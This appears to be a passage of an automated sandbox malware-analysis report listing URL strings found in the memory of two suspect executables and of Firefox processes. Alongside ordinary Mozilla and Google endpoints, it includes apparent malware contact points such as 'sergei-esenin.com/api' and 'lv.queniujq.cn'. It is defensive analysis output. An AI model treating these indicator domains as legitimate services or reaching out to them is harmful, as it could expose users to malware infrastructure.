Source: file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: firefox.exe, 0000001B.00000003.2207019082.000001BAAC633000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD582000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2411894495.000001BAAC21F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC0A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2413092162.000001BAAC632000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001B.00000003.2207019082.000001BAAC633000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD582000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2399069245.000001BAAAE7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2413092162.000001BAAC632000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001B.00000003.2207019082.000001BAAC633000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD582000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2399069245.000001BAAAE7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2413092162.000001BAAC632000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: 805c374e44.exe, 0000000C.00000003.2087080774.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: firefox.exe, 0000001B.00000002.2390476248.000001BA9F0D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2370384899.000001C8AA972000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2369541245.000001A3BBF86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001B.00000002.2390476248.000001BA9F003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC046000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2400251497.000001BAAB18A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001B.00000002.2505239009.000036127B404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001B.00000003.2207019082.000001BAAC633000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD582000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2413092162.000001BAAC632000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: 805c374e44.exe, 0000000C.00000003.2087080774.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: firefox.exe, 0000001B.00000003.2207019082.000001BAAC633000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD582000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2399069245.000001BAAAE7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2413092162.000001BAAC632000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: 805c374e44.exe, 0000000C.00000003.2087080774.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB272000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2479697799.000001BAB715B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001B.00000002.2426918174.000001BAAEE80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001B.00000002.2390476248.000001BA9F003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC046000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD5B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001B.00000003.2203401934.000001BAAEB57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2200219175.000001BAAE900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2203752938.000001BAAEB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2202906065.000001BAAEB3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2426918174.000001BAAEE8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2419808872.000001BAAE670000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: file.exe, file.exe, 00000000.00000003.1606267306.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1650084679.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1606776891.0000000001207000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1706786274.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1706862907.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085749906.0000000000DAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/
Source: file.exe, 00000000.00000003.1706786274.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1706862907.00000000011FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/#
Source: 805c374e44.exe, 0000000C.00000003.2085749906.0000000000DAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/)9
Source: file.exe, 00000000.00000003.1650005776.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1706577636.0000000005B11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/5U
Source: file.exe, 00000000.00000003.1650143495.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1631019097.000000000120B000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085749906.0000000000DAC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2152852241.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2183812021.0000000000E17000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2152953216.00000000055C1000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086923116.0000000000D82000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085894696.0000000000D82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api
Source: 805c374e44.exe, 0000000C.00000003.2183812021.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api4
Source: 805c374e44.exe, 0000000C.00000003.2152953216.00000000055C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apie1
Source: file.exe, 00000000.00000003.1707242669.0000000001215000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apig
Source: 805c374e44.exe, 0000000C.00000003.2313867886.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2183812021.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apih
Source: 805c374e44.exe, 0000000C.00000003.2085749906.0000000000DAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apim
Source: 805c374e44.exe, 0000000C.00000003.2313867886.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2183812021.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apip
Source: file.exe, 00000000.00000003.1707242669.0000000001215000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apis
Source: file.exe, 00000000.00000003.1650084679.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1706786274.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1706862907.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1630876970.00000000011FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/i:
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001B.00000002.2426918174.000001BAAEE80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB0866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: 805c374e44.exe, 0000000C.00000003.2087080774.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
